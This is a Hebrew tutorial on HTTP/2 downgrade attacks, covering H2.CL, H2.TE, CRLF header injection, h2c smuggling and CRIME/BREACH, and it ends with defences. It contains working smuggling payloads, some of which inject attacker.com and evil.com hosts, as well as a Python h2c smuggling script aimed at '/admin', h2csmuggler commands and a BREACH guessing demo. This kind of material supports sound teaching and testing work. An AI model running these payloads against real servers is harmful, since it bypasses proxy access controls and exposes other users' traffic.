תקיפות HTTP/2 - HTTP/2 Attacks¶
מבוא¶
פרוטוקול HTTP/2 תוכנן לשפר ביצועים ואבטחה ביחס ל-HTTP/1.1. הוא משתמש ב-framing בינארי, multiplexing ודחיסת headers. אולם, ברוב הסביבות בפועל, השרת החזיתי מקבל HTTP/2 מהלקוח אך מתרגם אותו ל-HTTP/1.1 עבור השרת האחורי. תהליך התרגום הזה (downgrading) פותח וקטורי תקיפה ייחודיים.
סקירת פרוטוקול HTTP/2¶
מבנה בינארי - Binary Framing¶
ב-HTTP/1.1, בקשות הן טקסט חופשי המופרד ב-\r\n. ב-HTTP/2, כל בקשה מורכבת מ-frames בינאריים עם שדות אורך מפורשים:
+-----------------------------------------------+
| Length (24) |
+---------------+---------------+---------------+
| Type (8) | Flags (8) |
+-+-------------+---------------+---------------+
|R| Stream Identifier (31) |
+=+=============================================+
| Frame Payload |
+-----------------------------------------------+
כל frame מכיל שדה אורך שמגדיר בדיוק כמה בתים יש בו - אין צורך ב-Content-Length או Transfer-Encoding כדי לקבוע את גבולות הבקשה.
ריבוב - Multiplexing¶
ב-HTTP/2, בקשות מרובות עוברות על אותו חיבור TCP במקביל, כל אחת ב-stream נפרד עם מזהה ייחודי. זה מבטל את בעיית head-of-line blocking של HTTP/1.1.
דחיסת headers - HPACK¶
HPACK הוא אלגוריתם דחיסת headers ספציפי ל-HTTP/2. הוא משתמש בטבלה סטטית של headers נפוצות וטבלה דינמית שמתעדכנת לאורך החיבור:
Static table (partial):
+-------+------------------+-------------------+
| Index | Header Name | Header Value |
+-------+------------------+-------------------+
| 1 | :authority | |
| 2 | :method | GET |
| 3 | :method | POST |
| 4 | :path | / |
| 7 | :scheme | https |
+-------+------------------+-------------------+
הheaders פסאודו - Pseudo-Headers¶
ב-HTTP/2, שורת הבקשה מפורקת לheaders פסאודו שמתחילות בנקודתיים:
הheaders אלו מתורגמות בחזרה לשורת בקשה ב-HTTP/1.1:
תרגום HTTP/2 ל-HTTP/1.1 - Downgrading¶
רוב השרתים החזיתיים (CDN, reverse proxy) מבצעים downgrade:
תהליך התרגום:
HTTP/2 request:
:method: POST
:path: /search
:authority: example.com
content-type: application/x-www-form-urlencoded
q=test
translated to HTTP/1.1:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
q=test
השרת החזיתי מחשב את ה-Content-Length מתוך גודל ה-data frame ב-HTTP/2. כאן נוצרות ההזדמנויות לתקיפה.
תקיפת H2.CL - הברחה דרך Content-Length¶
ב-HTTP/2, אורך הגוף נקבע על ידי ה-framing הבינארי. אם השרת החזיתי מאפשר לנו לשלוח header Content-Length ב-HTTP/2, ומעביר אותה כמות שהיא ל-HTTP/1.1 - יכולה להיווצר הברחה.
דוגמה¶
בקשת HTTP/2:
:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
מה קורה:
- השרת החזיתי שולח את הבקשה עם הגוף המלא (כולל
GET /admin...) כי ה-framing הבינארי מגדיר את האורך האמיתי - אבל הוא מעביר גם את
Content-Length: 0 - השרת האחורי קורא
Content-Length: 0, מפרש את הבקשה כ-POST ריק, ואתGET /adminכבקשה חדשה
דוגמה מלאה ב-Burp Suite¶
ב-Burp Repeater, בחרו HTTP/2 ושלחו:
:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: <lab-url>
Content-Length: 5
x=1
תקיפת H2.TE - Transfer-Encoding injection¶
הheader Transfer-Encoding אינה תקינה ב-HTTP/2 (אין צורך בה כי ה-framing הבינארי קובע את האורך). אולם, שרתים חזיתיים מסוימים לא מסננים אותה, ומעבירים אותה ל-HTTP/1.1 בתהליך התרגום.
דוגמה¶
בקשת HTTP/2:
:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
לאחר התרגום, השרת האחורי מקבל HTTP/1.1 עם Transfer-Encoding: chunked, מפרש את 0 כסוף הבקשה, ואת GET /admin כבקשה חדשה.
CRLF injection דרך HTTP/2 headers¶
זהו וקטור תקיפה ייחודי ל-HTTP/2. מכיוון ש-HTTP/2 הוא פרוטוקול בינארי, ערכי headers יכולים להכיל תווים שלא מותרים ב-HTTP/1.1 - כולל \r\n.
הHeader Injection¶
:method: GET
:path: /
:authority: vulnerable-website.com
header-x: value\r\nTransfer-Encoding: chunked
לאחר התרגום ל-HTTP/1.1:
ה-\r\n בתוך ערך הheader ב-HTTP/2 הופך לשבירת שורה ב-HTTP/1.1, מה שמאפשר header injection שרירותי.
דוגמה מתקדמת - הברחה מלאה דרך CRLF¶
:method: POST
:path: /
:authority: vulnerable-website.com
foo: bar\r\nTransfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
לאחר התרגום:
POST / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
הInjection דרך headers פסאודו¶
חלק מהשרתים החזיתיים לא מסננים \r\n גם בheaders פסאודו:
:method: GET
:path: / HTTP/1.1\r\nHost: attacker.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com
:authority: vulnerable-website.com
הברחת h2c - HTTP/2 Cleartext Upgrade¶
פרוטוקול h2c הוא HTTP/2 ללא הצפנה. הוא עובד באמצעות שדרוג מ-HTTP/1.1:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
תקיפה¶
אם reverse proxy מעביר את header ה-Upgrade לשרת האחורי ללא בדיקה:
לאחר השדרוג, התוקף מדבר HTTP/2 ישירות עם השרת האחורי דרך ה-proxy, ועוקף את כל בקרות הגישה של ה-proxy:
import h2.connection
import h2.config
import socket
import ssl
def h2c_smuggle(target_host, target_port, path):
"""h2c smuggling attack"""
sock = socket.create_connection((target_host, target_port))
# Send the upgrade request
upgrade_request = (
f"GET / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
f"Upgrade: h2c\r\n"
f"HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n"
f"Connection: Upgrade, HTTP2-Settings\r\n"
f"\r\n"
)
sock.send(upgrade_request.encode())
# Receive the 101 Switching Protocols response
response = sock.recv(4096)
if b"101" not in response:
print("[-] h2c upgrade failed")
return
print("[+] h2c upgrade succeeded")
# Now speaking HTTP/2
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.send(conn.data_to_send())
# Send the request directly to the back-end server
headers = [
(':method', 'GET'),
(':path', path),
(':authority', target_host),
(':scheme', 'http'),
]
conn.send_headers(1, headers, end_stream=True)
sock.send(conn.data_to_send())
# Receive the response
data = sock.recv(65535)
events = conn.receive_data(data)
for event in events:
print(event)
sock.close()
# Usage - access a blocked path
h2c_smuggle("target.com", 80, "/admin")
כלי h2csmuggler¶
# Installation
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
pip install -r requirements.txt
# Basic usage
python3 h2csmuggler.py -x https://target.com/ --test
# Access a blocked path
python3 h2csmuggler.py -x https://target.com/ -X GET https://target.com/admin
פיצול בקשות דרך HTTP/2 header injection - Request Splitting¶
ניתן לנצל CRLF injection בheaders HTTP/2 כדי לפצל בקשה אחת לשתיים:
:method: GET
:path: /
:authority: vulnerable-website.com
foo: bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com
לאחר התרגום:
GET / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
GET /admin HTTP/1.1
Host: vulnerable-website.com
השרת האחורי רואה שתי בקשות נפרדות.
תקיפות דחיסה - CRIME ו-BREACH¶
תקיפת CRIME¶
תקיפת CRIME מנצלת את דחיסת הheaders ב-TLS/SPDY. היא עובדת כך:
- התוקף שולט בחלק מהנתונים שנשלחים (למשל, JavaScript בדפדפן)
- הוא מזריק ניחושים לערך של עוגייה
- אם הניחוש מופיע גם בheader האמיתית, הדחיסה תהיה יעילה יותר - והתגובה קטנה יותר
- על ידי מדידת גודל התגובה, התוקף יכול לנחש תו אחרי תו
Guess: Cookie: session=a -> compressed size: 120
Guess: Cookie: session=b -> compressed size: 120
Guess: Cookie: session=x -> compressed size: 118 <-- match!
ב-HTTP/2, דחיסת HPACK מחליפה את הדחיסה ברמת TLS ומקשה על התקיפה, אבל לא בהכרח מונעת אותה.
תקיפת BREACH¶
תקיפת BREACH דומה ל-CRIME אך פועלת על גוף התגובה (HTTP compression) ולא על הheaders:
import requests
def breach_attack(target_url, known_prefix, charset):
"""
Simple demonstration of the BREACH principle
In practice the attack requires MitM and JavaScript in the victim's browser
"""
results = {}
for char in charset:
guess = known_prefix + char
# Send a request that causes the response body to include the guess
resp = requests.get(
target_url,
params={"search": guess}
)
results[char] = len(resp.content)
print(f" '{char}' -> {len(resp.content)} bytes")
# The character that causes the smallest size is probably correct
best = min(results, key=results.get)
print(f"[+] Next character probably: '{best}'")
return best
מניפולציית headers פסאודו¶
ב-HTTP/2, headers פסאודו מועברות כ-headers רגילים עם הגנות מינימליות:
שם מתודה עם רווחים¶
:method: GET /admin HTTP/1.1\r\nHost: evil.com\r\n\r\nGET
:path: /ignored
:authority: vulnerable-website.com
נתיב מלא עם query string¶
סכמה מזויפת¶
הגדרת Burp Suite לבדיקת HTTP/2¶
הגדרות בסיסיות¶
1. Open Settings -> Network -> HTTP
2. Make sure HTTP/2 is enabled (default from Burp 2023+)
3. In Repeater, select HTTP/2 in the protocol menu
4. Use the Inspector view to edit pseudo-headers
שליחת CRLF בheaders¶
1. In Repeater, switch to the Inspector view
2. Click a header and edit the value
3. Use \r\n to inject a new line
4. Burp will send the request over HTTP/2 with the CRLF inside the header
הרחבת HTTP/2 Smuggling¶
1. Install HTTP Request Smuggler from the BApp Store
2. The extension supports H2.CL, H2.TE and CRLF injection tests
3. Right-click -> Extensions -> HTTP Request Smuggler -> Smuggle Probe
טבלת וקטורי תקיפה¶
| וקטור | תנאי מוקדם | השפעה |
|---|---|---|
| H2.CL | שרת חזיתי מעביר Content-Length מ-H2 | הברחת בקשות מלאה |
| H2.TE | שרת חזיתי מעביר Transfer-Encoding מ-H2 | הברחת בקשות מלאה |
| CRLF injection בheaders | שרת חזיתי לא מסנן \r\n בheaders H2 | הHeader injection, הברחה |
| CRLF injection בפסאודו | שרת חזיתי לא מסנן \r\n בheaders פסאודו | פיצול בקשות מלא |
| h2c smuggling | שרת חזיתי מעביר Upgrade: h2c | הbypass כל בקרות הגישה |
הגנה¶
1. הימנעות מ-downgrading¶
- Use HTTP/2 end to end (front-end and back-end alike)
- If a downgrade is unavoidable, use a front-end server that performs strict normalization
2. אימות Content-Length¶
- When translating from HTTP/2 to HTTP/1.1, ignore the supplied Content-Length
and use the data frame size only
- Reject HTTP/2 requests that contain Transfer-Encoding
3. סינון CRLF בheaders¶
- Reject any HTTP/2 header that contains \r\n, \r, or \n in the name or value
- Also filter pseudo-headers
- Most modern servers already do this, but it's important to verify
4. חסימת h2c¶
5. עדכון שרתים¶
- Update front-end servers (nginx, HAProxy, Cloudflare) to the latest versions
- Most vendors have fixed the known issues
- Follow new CVEs in this area
סיכום¶
תקיפות HTTP/2 מנצלות את תהליך התרגום מ-HTTP/2 ל-HTTP/1.1. הפרוטוקול הבינארי של HTTP/2 מאפשר שליחת נתונים שאינם תקינים ב-HTTP/1.1, וכשהם מתורגמים - נוצרות חולשות. נקודות מפתח:
- תקיפות H2.CL ו-H2.TE דומות להברחה קלאסית אך מנצלות את ההבדלים בין HTTP/2 ל-HTTP/1.1
- CRLF injection בheaders HTTP/2 היא וקטור ייחודי שלא קיים ב-HTTP/1.1 רגיל
- תקיפת h2c smuggling עוקפת לחלוטין את בקרות הגישה של ה-reverse proxy
- ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ללא downgrade